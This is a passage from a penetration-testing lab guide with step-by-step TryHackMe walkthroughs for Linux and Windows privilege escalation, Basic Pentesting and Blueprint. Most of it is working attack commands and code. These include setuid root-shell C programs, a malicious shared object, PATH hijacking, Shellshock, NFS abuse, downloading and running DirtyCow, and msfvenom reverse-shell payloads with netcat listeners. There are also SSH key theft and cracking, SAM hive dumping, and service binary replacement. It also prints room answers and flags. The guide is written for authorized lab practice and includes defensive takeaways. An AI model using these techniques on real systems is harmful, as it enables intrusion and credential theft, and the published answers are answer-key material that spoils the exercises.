find / -perm -g=s -type f 2>/dev/null
# Common vulnerable SUID binaries to check:
# - /usr/bin/find
# - /usr/bin/nmap (old versions)
# - /usr/bin/vim
# - /usr/bin/less
# - /usr/bin/more
# - /usr/bin/awk
# - /usr/bin/man
# - /usr/sbin/exim
# Check for known exploits
# Example with find:
/usr/bin/find . -exec /bin/bash -p \;
# Example with nmap (if old version):
nmap --interactive
nmap> !bash
# Check versions of SUID binaries
/usr/bin/find --version
/usr/bin/nmap --version
# Search for exploits
searchsploit find suid
searchsploit nmap suid
Task 12: SUID/SGID Executables - Shared Object Injection
# Find SUID binaries that load shared libraries
# Use strace to find missing libraries
strace /usr/local/bin/suid-so 2>&1 | grep -i "no such file"
# Example output might show:
# open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)
# Create the missing directory
mkdir -p /home/user/.config
# Create malicious shared object
cat > /home/user/.config/libcalc.c << 'EOF'
#include
#include
#include
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF
# Compile the shared object
gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/.config/libcalc.c
# Execute the SUID binary
/usr/local/bin/suid-so
Task 13: SUID/SGID Executables - Environment Variables
# Find SUID binaries that use environment variables
strings /usr/local/bin/suid-env | grep -i "PATH\|PAGER\|EDITOR\|VISUAL"
# Example: if it uses service without full path
# 1. Check what service calls
strings /usr/local/bin/suid-env
# 2. If it calls a binary without full path (like "service")
# Create malicious binary
echo '#!/bin/bash' > /tmp/service
echo '/bin/bash -p' >> /tmp/service
chmod +x /tmp/service
# 3. Modify PATH
export PATH=/tmp:$PATH
# 4. Execute the SUID binary
/usr/local/bin/suid-env
# For other environment variables:
# If binary uses PAGER, EDITOR, VISUAL, etc.
export PAGER='/bin/bash -p'
export EDITOR='/bin/bash -p'
export VISUAL='/bin/bash -p'
# Then run the SUID binary
Task 14: SUID/SGID Executables - Abusing Shell Features (#1)
# Check for SUID bash
ls -la /bin/bash
# If bash is SUID:
/bin/bash -p
# This should give you root shell if bash is SUID
# If /bin/sh is symlinked to bash and SUID:
/bin/sh -p
# Check shell versions
/bin/bash --version
/bin/sh --version
# Bash versions < 4.2-048 have vulnerabilities
# Check for shellshock vulnerability
env x='() { :;}; echo vulnerable' bash -c "echo test"
# If vulnerable to shellshock:
# Create SUID bash shell
env x='() { :;}; chmod +s /bin/bash' bash -c "echo exploited"
/bin/bash -p
Task 15: SUID/SGID Executables - Abusing Shell Features (#2)
# Check for SUID binaries that use system() with shell
strings /usr/local/bin/suid-env2 | grep system
# If it uses system() without full path to shell
# Example in code: system("service apache2 start")
# The system() function uses /bin/sh
# Check what /bin/sh is linked to
ls -la /bin/sh
# If /bin/sh is dash (Debian Almquist shell), it drops privileges
# But we can make it symlink to bash
# 1. Backup original sh
cp /bin/sh /bin/sh.bak
# 2. Create symlink to bash
ln -sf /bin/bash /bin/sh
# 3. Execute the SUID binary
/usr/local/bin/suid-env2
# 4. Restore original sh
mv /bin/sh.bak /bin/sh
# Alternative: create a custom shell that doesn't drop privileges
cat > /tmp/shell.c << 'EOF'
#include
#include
#include
int main() {
setuid(0);
system("/bin/bash -p");
return 0;
}
EOF
gcc -o /tmp/shell /tmp/shell.c
ln -sf /tmp/shell /bin/sh
Task 16: Passwords & Keys - History Files
# Check current user's history
history
cat ~/.bash_history
# Check other users' history
cat /home/*/.bash_history 2>/dev/null
cat /root/.bash_history 2>/dev/null
# Look for passwords in history
history | grep -i "pass"
cat ~/.bash_history | grep -E "(pass|pwd|secret|key|auth)"
# Check mysql history
cat ~/.mysql_history 2>/dev/null
# Check sudo commands in history
history | grep sudo
# Look for sensitive commands:
# - ssh with passwords
# - mysql/mariadb connections
# - su commands
# - curl/wget with authentication
# - git push with tokens
# Example finding:
# mysql -u root -pPASSWORD
# ssh user@host -p PASSWORD
# curl -u user:password http://example.com
Task 17: Passwords & Keys - Config Files
# Search for common config files with passwords
find / -type f -name "*.conf" -o -name "*.config" -o -name "*.cfg" 2>/dev/null | head -20
# Grep for passwords in config files
grep -r "password" /etc/ 2>/dev/null | head -20
grep -r "pass" /home/ 2>/dev/null
grep -r "PASS" /var/www/ 2>/dev/null
# Check specific common config files:
# MySQL
cat /etc/mysql/debian.cnf 2>/dev/null
# PHP
find /var/www -name "config.php" -o -name "settings.php" 2>/dev/null | xargs grep -i "pass" 2>/dev/null
# SSH
cat /etc/ssh/sshd_config 2>/dev/null | grep -i "pass"
# Samba
cat /etc/samba/smb.conf 2>/dev/null | grep -i "pass"
# Apache
find /etc/apache2 -type f -exec grep -i "pass" {} \; 2>/dev/null
# Check for .env files (common in web apps)
find / -name ".env" -type f 2>/dev/null
find /var/www -name ".env" -type f 2>/dev/null
Task 18: Passwords & Keys - SSH Keys
# Search for SSH keys
find / -name "id_rsa" -o -name "id_dsa" -o -name "*.pem" 2>/dev/null
# Check common SSH key locations
ls -la /home/*/.ssh/ 2>/dev/null
ls -la /root/.ssh/ 2>/dev/null
# Check for authorized_keys files
find / -name authorized_keys 2>/dev/null
cat /home/*/.ssh/authorized_keys 2>/dev/null
cat /root/.ssh/authorized_keys 2>/dev/null
# If you find an SSH key:
cat /home/user/.ssh/id_rsa
# Copy the private key content
# On your attacker machine, create file:
vim key.txt
# Paste the private key
# -----BEGIN RSA PRIVATE KEY-----
# [key data]
# -----END RSA PRIVATE KEY-----
# Set proper permissions
chmod 600 key.txt
# Use the key to SSH
ssh -i key.txt user@TARGET_IP
# If key has passphrase, crack it:
ssh2john key.txt > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Task 19: NFS
# Check NFS exports on target
cat /etc/exports
# Look for lines without no_root_squash:
# Example: /tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
# On YOUR attacker machine:
# 1. Show NFS shares
showmount -e TARGET_IP
# 2. Create mount point
mkdir /tmp/nfs
# 3. Mount the share
mount -o rw,vers=2 TARGET_IP:/tmp /tmp/nfs
# 4. Create SUID binary
cp /bin/bash /tmp/nfs/bash
chmod +xs /tmp/nfs/bash
# 5. On target machine, execute:
/tmp/bash -p
# Alternative: create a C program
cat > /tmp/nfs/exploit.c << 'EOF'
#include
#include
#include
int main() {
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
EOF
gcc /tmp/nfs/exploit.c -o /tmp/nfs/exploit
chmod +s /tmp/nfs/exploit
# On target: /tmp/exploit
# If no_root_squash is not set, try:
# Create a user with same UID as root on attacker
useradd attacker -u 0 -o -g 0
su attacker
# Then create files on NFS share
Task 20: Kernel Exploits
# Check kernel version
uname -a
# Output: Linux debian 3.16.0-4-amd64 #1 SMP Debian 3.16.36-1+deb8u2 (2016-10-19) x86_64 GNU/Linux
# Check OS version
cat /etc/os-release
# Output: PRETTY_NAME="Debian GNU/Linux 8 (jessie)"
# Search for kernel exploits
searchsploit linux kernel 3.16
searchsploit debian 8
# Common kernel exploits for this room:
# 1. overlayfs (CVE-2015-1328)
# 2. DirtyCow (CVE-2016-5195) - if kernel < 4.8.3
# Download and compile DirtyCow exploit
cd /tmp
wget https://www.exploit-db.com/download/40839 -O dirtycow.c
gcc -pthread dirtycow.c -o dirtycow -lcrypt
./dirtycow
# Or use pre-compiled exploits from /home/user/tools/
cd /home/user/tools/kernel-exploits/
ls -la
# Try overlayfs exploit:
cd /home/user/tools/kernel-exploits/overlayfs/
./overlayfs
# If successful, you'll get root shell
whoami
# Output: root
# Always check exploit compatibility before running
# Some exploits might crash the system
Task 21: Privilege Escalation Scripts
# Use automated enumeration scripts
# Common scripts available in /home/user/tools/
# LinEnum - Basic enumeration
cd /home/user/tools/
./linenum.sh
# LinPEAS - Advanced enumeration
# Download if not available
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# Linux Exploit Suggester
cd /home/user/tools/linux-exploit-suggester/
./Linux_Exploit_Suggester.pl
# Linux Smart Enumeration
cd /tmp
wget https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh
chmod +x lse.sh
./lse.sh -l 1
# Unicorn - Privilege Escalation via metasploit
# On attacker machine, generate payload
# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f elf > shell.elf
# Transfer to target and make executable
chmod +x shell.elf
./shell.elf
# On attacker, in metasploit:
# use exploit/multi/handler
# set payload linux/x64/meterpreter/reverse_tcp
# set LHOST YOUR_IP
# set LPORT 4444
# exploit
# Once meterpreter session is established:
# meterpreter > getsystem
# meterpreter > shell
# Manual enumeration checklist:
# 1. sudo -l
# 2. find / -perm -u=s -type f 2>/dev/null
# 3. getcap -r / 2>/dev/null
# 4. cat /etc/crontab
# 5. find / -writable -type f 2>/dev/null
# 6. uname -a
# 7. cat ~/.bash_history
# 8. ps aux | grep root
Final Steps: Getting Root & Flags
# Once you get root shell:
whoami
# Output: root
id
# Output: uid=0(root) gid=0(root) groups=0(root)
# Get the root flag
find / -name "root.txt" -o -name "proof.txt" 2>/dev/null
cat /root/root.txt
cat /root/proof.txt
# Get user flag (if exists)
find / -name "user.txt" -o -name "user.flag" 2>/dev/null
cat /home/user/user.txt
# Document your path
echo "PrivEsc Method Used: [Describe method]"
echo "Vulnerability: [Describe vulnerability]"
echo "Exploit: [Describe exploit]"
echo "Remediation: [Suggest fixes]"
# Clean up files you created
rm -f /tmp/*.c /tmp/*.so /tmp/*.sh /tmp/--checkpoint*
rm -f /tmp/exploit* /tmp/shell*
# Practice other methods
# Exit root shell and try different techniques
exit
# You're back to user account
🧾 Complete Methodology Checklist
- 1. Initial Enumeration:
sudo -l,id,uname -a - 2. SUID/SGID:
find / -perm -u=s -type f 2>/dev/null - 3. Capabilities:
getcap -r / 2>/dev/null - 4. Cron Jobs:
cat /etc/crontab,ls -la /etc/cron.* - 5. Writable Files:
find / -writable -type f 2>/dev/null | grep -v /proc/ - 6. Kernel: Check version, search for exploits
- 7. History:
cat ~/.bash_history, check other users - 8. Config Files: Search for passwords in configs
- 9. SSH Keys: Look for private keys
- 10. NFS: Check
/etc/exportsfor no_root_squash - 11. Automated Tools: Use LinPEAS, LinEnum, etc.
- 12. Document: Record everything for learning
🎯 Lab 27.3 – Basic Pentesting (Complete Walkthrough)
Complete step-by-step guide for TryHackMe Basic Pentesting room.
Target IP: 10.48.183.146
Task 1: Deploy & Connect to Network
# Deploy the machine# Click "Start Machine" button# Connect to TryHackMe networksudo openvpn your-config.ovpn# Check your AttackBox network configurationip addr show eth0# Output example:# 2: eth0: mtu 1500 qdisc fq_codel state UP group default qlen 1000 # inet 10.10.10.10/24 brd 10.10.10.255 scope global eth0# Verify connectivity to targetping -c 3 10.48.183.146
Task 2: Service Enumeration
# Perform initial Nmap scannmap -sV -sC -oA initial_scan 10.48.183.146# Check scan resultscat initial_scan.nmap# Expected findings:# PORT STATE SERVICE VERSION# 21/tcp open ftp vsftpd 3.0.3# 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)# 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))# 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)# 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)# More detailed scan for all portsnmap -p- -sV -sC -oA full_scan 10.48.183.146
Task 3: Hidden Directory Discovery
# First, check the websitecurl http://10.48.183.146# Shows Apache2 Ubuntu Default Page# Use gobuster for directory brute-forcinggobuster dir -u http://10.48.183.146 -w /usr/share/wordlists/dirb/common.txt# Or use dirbdirb http://10.48.183.146 /usr/share/wordlists/dirb/common.txt# Sample output:# + http://10.48.183.146/development (CODE:301|SIZE:315)# + http://10.48.183.146/hidden (CODE:301|SIZE:310)# + http://10.48.183.146/manual (CODE:301|SIZE:311)# Explore the hidden directorycurl http://10.48.183.146/hidden/# Shows: "This is a hidden directory that you can't see in the main page."# Explore the development directorycurl http://10.48.183.146/development/# Shows two files: dev.txt and j.txt
Task 4: User & Password Brute-Forcing
# First, examine the development directory filescurl http://10.48.183.146/development/dev.txt# Output: "2018-04-23: I've been messing with that struts thing, don't think it's working"curl http://10.48.183.146/development/j.txt# Output shows:# "2018-04-23: I made some changes to the code, not done though."# "2018-04-23: OK I think I'm done, this should work now"# "2018-04-23: Added some logging, I hope Kay doesn't notice me pwning her stuff"# "2018-04-23: Oh and I removed her password from the file, so no leaks. Password is: ***********"# Try SMB enumeration for usersenum4linux -a 10.48.183.146# From the files, we discover:# 1. Username: jan (from j.txt filename)# 2. Another user: kay (mentioned in j.txt)# 3. Password hint in j.txt
Task 5: Credential Discovery & SSH Access
# The j.txt file contains a password for jan# Let's try SSH with discovered credentials# SSH as jan with password from j.txtssh jan@10.48.183.146# Enter password when prompted (from j.txt)# Success! You're now logged in as janwhoami# Output: janid# Output: uid=1000(jan) gid=1000(jan) groups=1000(jan)pwd# Output: /home/jan
Task 6: Service Used for Access
# Confirm SSH accessssh jan@10.48.183.146# Service used: SSH (port 22)# Once logged in, explore the systemls -la# Check for other usersls /home/# Output: jan kay# Check kay's directoryls -la /home/kay/# Notice: .ssh directory with id_rsa file
Task 7: Privilege Escalation Enumeration
# Basic system enumerationuname -a# Output: Linux basic2 4.4.0-119-generic #143-Ubuntu SMP ...cat /etc/os-release# Shows: Ubuntu 16.04.4 LTS# Check sudo permissionssudo -l# Jan likely has no sudo access# Check SUID binariesfind / -perm -u=s -type f 2>/dev/null# Check for interesting files in kay's directoryls -la /home/kay/.ssh/# Notice: id_rsa file is world-readable!# -rw-r--r-- 1 kay kay 1743 Aug 13 2018 id_rsa
Task 8: Extracting SSH Private Key
# Check SSH key permissionsls -la /home/kay/.ssh/id_rsa# Output: -rw-r--r-- 1 kay kay 1743 Aug 13 2018 /home/kay/.ssh/id_rsa# Copy the SSH key to your local machine# From your AttackBox terminal (NOT the SSH session):scp jan@10.48.183.146:/home/kay/.ssh/id_rsa .# Password: [jan's password from earlier]# Or if you want to see the key content first:# From your SSH session as jan:cat /home/kay/.ssh/id_rsa# Copy the entire key including:# -----BEGIN RSA PRIVATE KEY-----# [encrypted key data]# -----END RSA PRIVATE KEY-----
Task 9: Preparing the Key for Cracking
# Create a file with the private key on your local machinevim rsa_id.txt# Press 'i' to enter insert mode, then paste the entire key:-----BEGIN RSA PRIVATE KEY-----MIIEogIBAAKCAQEAsIf[EXAMPLE_KEY_DATA_HERE]-----END RSA PRIVATE KEY-----# Press ESC, then type :wq and press Enter to save and exit# Verify the file was createdcat rsa_id.txt# Should show the private key# Check file permissionschmod 600 rsa_id.txt
Task 10: Cracking SSH Key Passphrase
# The SSH key is encrypted with a passphrase# We need to crack it using john# First, convert SSH key to john formatssh2john rsa_id.txt > hash.txt# Check the hash filecat hash.txt# Should look like: rsa_id.txt:$sshng$6$16$[HASH_DATA]$2350...# Now crack with john using rockyou.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt hash.txt# Wait for john to crack the passphrase# This might take a few minutes# Show the cracked passwordjohn --show hash.txt# Expected output:# rsa_id.txt:beeswax# 1 password hash cracked, 0 left# The passphrase is: beeswax
Task 11: Accessing Kay's Account
# Now use the SSH key with cracked passphrase# Make sure permissions are correctchmod 600 rsa_id.txt# SSH as kay using the private keyssh -i rsa_id.txt kay@10.48.183.146# When prompted for passphrase, enter: beeswax# Success! You're now logged in as kaywhoami# Output: kayid# Output: uid=1001(kay) gid=1001(kay) groups=1001(kay)# Check kay's sudo permissionssudo -l# Kay might have sudo access
Task 12: Finding Final Password
# Explore kay's home directoryls -la /home/kay/# Look for interesting files# You'll see a file called "pass.bak"cat pass.bak# This contains the final password!# Example output:# Here is the password you asked for!# ********************************************************# Also check for other interesting filesfind /home/kay -type f -name "*.txt" -o -name "*.bak" -o -name "*pass*" 2>/dev/null
Task 13: Bonus - Getting Root Access
# Check if kay can run sudosudo -l# If kay has sudo permissions:sudo su# Enter kay's password if prompted# Or check for privilege escalation vectors# Check SUID binaries againfind / -perm -u=s -type f 2>/dev/null | grep -v "/proc/"# Check capabilitiesgetcap -r / 2>/dev/null# Check cron jobscat /etc/crontabls -la /etc/cron.*# Get root flag if you escalatecat /root/root.txt 2>/dev/null
Final Steps: Documenting Your Path
# Document your attack path for learningecho "Attack Path:"echo "1. Nmap scan revealed ports 21,22,80,139,445"echo "2. Directory brute-forcing found /development/"echo "3. j.txt file revealed jan's password"echo "4. SSH as jan with discovered password"echo "5. Found world-readable SSH key in /home/kay/.ssh/id_rsa"echo "6. Copied key, cracked passphrase with john (beeswax)"echo "7. SSH as kay using private key"echo "8. Found final password in /home/kay/pass.bak"# Clean up filesrm -f rsa_id.txt hash.txt# Submit answers for the room
📋 Room Answers Reference
| Question | Answer | How to Find |
|---|---|---|
| Hidden directory name | development |
gobuster/dirb scan |
| Username | jan |
From /development/j.txt filename |
| Password | [From j.txt file] | Last line of /development/j.txt |
| Service to access server | SSH |
Port 22, SSH protocol |
| Other user found | kay |
/development/j.txt mentions "kay" |
| Final password | [From /home/kay/pass.bak] | After SSH key cracking and accessing kay's account |
🧾 Complete Methodology
- 1. Always start with service enumeration (nmap)
- 2. Check for hidden directories and files
- 3. Look for information disclosure in web files
- 4. Try discovered credentials on different services
- 5. Check file permissions, especially for sensitive files
- 6. Use tools like john for password cracking
- 7. Document everything for learning and reporting
Lab 27.4 – Blueprint (Windows Penetration & Privilege Escalation)
• Title: Blueprint
• Difficulty: Intermediate
• Time: 45 minutes
• Category: Windows Penetration Testing
• Goal: Hack into Windows machine & escalate to Administrator
This lab focuses on Windows penetration testing methodology, covering SMB enumeration, credential cracking, WinRM exploitation, and Windows privilege escalation. Blueprint represents a typical corporate Windows environment with common misconfigurations.
This guide is for authorized lab environments only. Perform these steps only on machines you own or have explicit permission to test.
🔍 Phase 1: Initial Reconnaissance & Service Discovery
Start with comprehensive port scanning to identify all available services and potential attack vectors on the Windows target.
# Aggressive scan with OS detection
nmap -A -T4 -p- 10.10.161.31
# Quick scan for common ports
nmap -sC -sV 10.10.161.31
# SMB specific enumeration
nmap --script smb-enum-users -p 445 10.10.161.31
| Port | Service | Version | Significance |
|---|---|---|---|
| 80 | HTTP | Microsoft IIS | Web attack surface |
| 135 | RPC | Microsoft Windows RPC | Windows services |
| 139/445 | SMB | Windows SMB | Primary attack vector |
| 5985 | WinRM | Windows Remote Management | Remote command execution |
| 8080 | HTTP-Alt | osCommerce 2.3.4 | Vulnerable web application |
📁 Phase 2: SMB Share Enumeration
SMB shares often contain sensitive information, configuration files, or even credentials. Enumerate available shares and their permissions.
# List SMB shares without authentication
smbclient -L //10.10.161.31 -N
# Check share permissions
smbmap -H 10.10.161.31
# Comprehensive SMB enumeration
enum4linux -a 10.10.161.31
# Connect to accessible share
smbclient //10.10.161.31/Users -N
# Once connected:
smb: \> dir
smb: \> get interesting_file.txt
smb: \> exit
🌐 Phase 3: Web Server Analysis
Even if the web server doesn't have obvious vulnerabilities, it may contain useful information, comments, or configuration details.
# Web technology fingerprinting
whatweb http://10.10.161.31
# Directory enumeration
gobuster dir -u http://10.10.161.31 -w /usr/share/wordlists/dirb/common.txt
# Check for specific files
curl http://10.10.161.31/robots.txt
curl http://10.10.161.31/web.config
# Check osCommerce on port 8080
whatweb http://10.10.161.75:8080
web.config
which may contain database connection strings or other sensitive information.
🔎 Phase 4: osCommerce Vulnerability Research
When you identify osCommerce 2.3.4 running on port 8080, research for known vulnerabilities and exploits.
# Search for osCommerce exploits
searchsploit oscommerce 2.3.4
# Copy exploit to current directory
searchsploit -m php/webapps/50128.py
# Examine the exploit code
cat 50128.py
# Run the exploit against the target
python3 50128.py http://10.10.161.75:8080/oscommerce-2.3.4/catalog
🔐 Phase 5: Credential Harvesting & Cracking
Found credentials may be in various formats. Windows often uses NTLM hashes which need to be cracked or used in pass-the-hash attacks.
Step 5.1: Identify Hash Type
# Example NTLM hash format
hashcat --example-hashes | grep -i ntlm
Step 5.2: Crack NTLM Hash
# Using hashcat (mode 1000 = NTLM)
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
# Using john
john --format=nt hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Online cracking with CrackStation
# Visit: https://crackstation.net/
Hash: [NTLM hash from Blueprint]
Cracked Password: googleplus
⚡ Phase 6: WinRM Access with Cracked Credentials
With valid credentials, Windows Remote Management (WinRM) on port 5985 can provide remote command execution and shell access.
# Using evil-winrm (Ruby-based WinRM client)
evil-winrm -i 10.10.161.31 -u lab_user -p 'googleplus'
# Alternative using crackmapexec
crackmapexec winrm 10.10.161.31 -u lab_user -p 'googleplus' -x "whoami"
📊 Phase 7: Post-Compromise Enumeration
Once inside the system, enumerate the environment to understand the security posture and identify privilege escalation paths.
System Information
# Check current user privileges
whoami /priv
whoami /groups
# System information
systeminfo
hostname
User & Group Information
# List local users
net user
# List local administrators
net localgroup administrators
# Check current user's groups
net user lab_user
🚀 Phase 8: Privilege Escalation Path Discovery
Windows privilege escalation often involves misconfigured permissions, vulnerable services, or credential exposure.
8.1: Registry Dumping for Credentials
# Save registry hives for offline analysis
reg.exe save hklm\security Security.hiv
reg.exe save hklm\system System.hiv
reg.exe save hklm\sam SAM.hiv
# Download files to your system
# From within evil-winrm:
download Security.hiv
download System.hiv
download SAM.hiv
8.2: Extract Hashes from Registry Files
# On your Kali system, after downloading files
samdump2 System.hiv SAM.hiv
# Alternative using impacket
impacket-secretsdump -system System.hiv -security Security.hiv -sam SAM.hiv LOCAL
👑 Phase 9: Administrator Access & Flag Collection
Based on enumeration findings, execute the appropriate privilege escalation technique to gain Administrator or SYSTEM privileges.
9.1: Directory Navigation & Flag Discovery
# List Administrator's Desktop
dir c:\users\Administrator\Desktop
# Check for root flag
dir c:\users\Administrator\Desktop\root.txt.txt
# View the flag contents
type c:\users\Administrator\Desktop\root.txt.txt
9.2: Alternative Flag Locations
# Common flag locations in Windows CTFs
type C:\Users\Administrator\Desktop\flag.txt
type C:\Users\Administrator\Desktop\proof.txt
type C:\Users\Administrator\Desktop\root.txt
type C:\flag.txt
type C:\root.txt
• "Lab" user NTLM hash decrypted: googleplus
• Root flag: THM{aea1e3ce6fe7f89e10cea833ae009bee}
🛠️ Phase 10: Hash Cracking Resources & Tools
Online Hash Cracking Services:
| Service | URL | Best For |
|---|---|---|
| CrackStation | https://crackstation.net/ | Quick MD5, SHA1, NTLM cracking |
| Hashes.com | https://hashes.com/en/decrypt/hash | Large database, multiple hash types |
| Online Hash Crack | https://www.onlinehashcrack.com/ | GPU-powered cracking service |
| MD5Decrypt | https://md5decrypt.net/en/ | MD5, SHA1, SHA256, NTLM |
Local Hash Cracking Tools:
# Hashcat (GPU acceleration)
hashcat -m 1000 ntlm_hash.txt /usr/share/wordlists/rockyou.txt
# John the Ripper
john --format=nt ntlm_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Hydra (for online attacks)
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.161.31 http-post-form
📝 Phase 11: Documentation & Remediation
Complete Attack Path:
- 1. Port scan revealed osCommerce on port 8080
- 2. searchsploit identified osCommerce 2.3.4 exploit
- 3. Exploit execution provided initial access
- 4. SMB enumeration revealed user credentials
- 5. NTLM hash cracked using CrackStation → "googleplus"
- 6. WinRM access gained with cracked credentials
- 7. Registry dumped (SAM, SYSTEM, SECURITY)
- 8. Hash extraction and privilege escalation
- 9. Root flag obtained from Administrator Desktop
Security Recommendations:
- 🔒 Update or remove vulnerable osCommerce installation
- 🔒 Implement strong password policies
- 🔒 Restrict SMB anonymous access
- 🔒 Enable Windows Defender and real-time protection
- 🔒 Regular security audits and patch management
🧠 Key Learning Points
🛠️ Technical Skills Practiced
- SMB enumeration with enum4linux
- Vulnerability research with searchsploit
- Exploit modification and execution
- Windows registry manipulation
- Hash extraction and cracking
- WinRM exploitation
📊 Methodological Takeaways
- Comprehensive service enumeration
- Vulnerability chaining
- Credential reuse attacks
- Persistence and lateral movement
- Forensic evidence collection
- Remediation strategy development
Lab 27.1 – Windows PrivEsc (Beginner) — Complete Walkthrough
• Title: Windows PrivEsc — TryHackMe
• Difficulty: Beginner / Intermediate
• Time: 75 minutes
• Category: Windows Privilege Escalation
• Goal: Practice 15+ Windows privilege escalation techniques on an intentionally misconfigured Windows VM
• Credentials:
user:password321• RDP Port: 3389
• VM Creator: Sagi Shahar / Tib3rius (Windows PrivEsc for OSCP)
🪟 Windows PrivEsc — Complete Methodology Walkthrough
📄 Open TryHackMe RoomThis lab provides hands-on practice with 15+ real-world Windows privilege escalation techniques. Each technique represents a common misconfiguration found in corporate Windows environments. The VM is intentionally vulnerable and safe for legal, authorized testing.
This guide is for authorized lab environments only. Perform these steps only on machines you own or have explicit permission to test. Unauthorized access is illegal.
• TryHackMe subscription (Free tier works)
• AttackBox or Kali Linux VM
• Basic understanding of Windows commands
• Familiarity with reverse shells
📌 Task 1: Deploy the Vulnerable Windows VM
- Navigate to the Windows PrivEsc room
- Click "Start Machine" — VM will spawn in your network
- Connect using RDP (password:
password321):
# Using xfreerdp (recommended)
xfreerdp3 /u:user /p:password321 /cert:ignore /v:MACHINE_IP
# Using rdesktop (alternative)
rdesktop -u user -p password321 MACHINE_IP
# Using Remmina (GUI)
📌 Task 2: Generate Reverse Shell Executable
Step 2.1: Generate msfvenom payload
# On Kali/AttackBox
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=53 -f exe -o reverse.exe
⚠️ Replace YOUR_IP with your AttackBox IP or VPN IP address.
Step 2.2: Start SMB server to transfer file
# On Kali, in the same directory as reverse.exe
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .
Step 2.3: Copy file to Windows VM
# On Windows VM (from RDP session)
copy \\YOUR_KALI_IP\kali\reverse.exe C:\PrivEsc\reverse.exe
Step 2.4: Test the reverse shell
# On Kali
sudo nc -nvlp 53
# On Windows VM
C:\PrivEsc\reverse.exe
reverse.exe will be used in every privilege escalation task.
📌 Task 3: Service Exploits — Insecure Service Permissions
Step 3.1: Check service permissions
C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc
Expected output: Shows SERVICE_CHANGE_CONFIG permission for user account.
Step 3.2: Query original service configuration
sc qc daclsvc
✅ Answer:
C:\Program Files\DACL Service\daclservice.exe
Step 3.3: Modify service binary path
sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
Step 3.4: Start listener and trigger service
# On Kali
sudo nc -nvlp 53
# On Windows
net start daclsvc
🛡️ Defensive Takeaways
- Regularly audit service DACLs using
accesschkorsc sdshow - Remove SERVICE_CHANGE_CONFIG permission from non-admin users
- Run services with least privilege accounts, not SYSTEM
📌 Task 4: Service Exploits — Unquoted Service Path
C:\Program.exe → C:\Program Files\Unquoted.exe → etc.
Step 4.1: Query vulnerable service
sc qc unquotedsvc
✅ Answer:
C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
Step 4.2: Check directory permissions
C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
Expected: BUILTIN\Users have FILE_ADD_FILE permission.
Step 4.3: Place malicious executable
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
Step 4.4: Trigger the exploit
# Start listener on Kali
sudo nc -nvlp 53
# Start service
net start unquotedsvc
🛡️ Defensive Takeaways
- Always quote service binary paths:
"C:\Program Files\Vendor\service.exe" - Restrict write permissions on Program Files directories
- Audit unquoted service paths with PowerUp/WinPEAS
📌 Task 5: Service Exploits — Weak Registry Permissions
Step 5.1: Query service
sc qc regsvc
Note: Service runs as SYSTEM.
Step 5.2: Check registry key permissions
C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
Expected: NT AUTHORITY\INTERACTIVE has FULL access.
Step 5.3: Modify ImagePath registry key
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
Step 5.4: Trigger the exploit
# Start listener on Kali
sudo nc -nvlp 53
# Start service
net start regsvc
🛡️ Defensive Takeaways
- Restrict registry key permissions on service entries
- Remove write access for non-admin users
- Monitor registry key modifications via Sysmon (Event ID 13)
📌 Task 6: Service Exploits — Insecure Service Executables
Step 6.1: Query vulnerable service
sc qc filepermsvc
Step 6.2: Check binary permissions
C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
Expected: Everyone group has FILE_ALL_ACCESS (write permission).
Step 6.3: Replace service binary
copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
Step 6.4: Trigger the exploit
# Start listener on Kali
sudo nc -nvlp 53
# Start service
net start filepermsvc
🛡️ Defensive Takeaways
- Service binaries must be writable only by administrators
- Regularly audit service binary permissions with
icaclsoraccesschk - Implement file integrity monitoring on system directories
📌 Task 7: Registry — AutoRuns
Step 7.1: Query AutoRun registry keys
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Step 7.2: Check executable permissions
C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
Expected: Everyone group has FILE_ALL_ACCESS (write permission).
Step 7.3: Replace AutoRun executable
copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y
Step 7.4: Trigger the exploit
# Start listener on Kali
sudo nc -nvlp 53
# Restart the Windows VM (or wait for admin login)
# Open new RDP session to trigger AutoRun
🛡️ Defensive Takeaways
- Restrict write permissions on AutoRun executables
- Use AutoRuns from Sysinternals to audit startup programs
- Remove unnecessary AutoRun entries
📌 Task 8: Registry — AlwaysInstallElevated
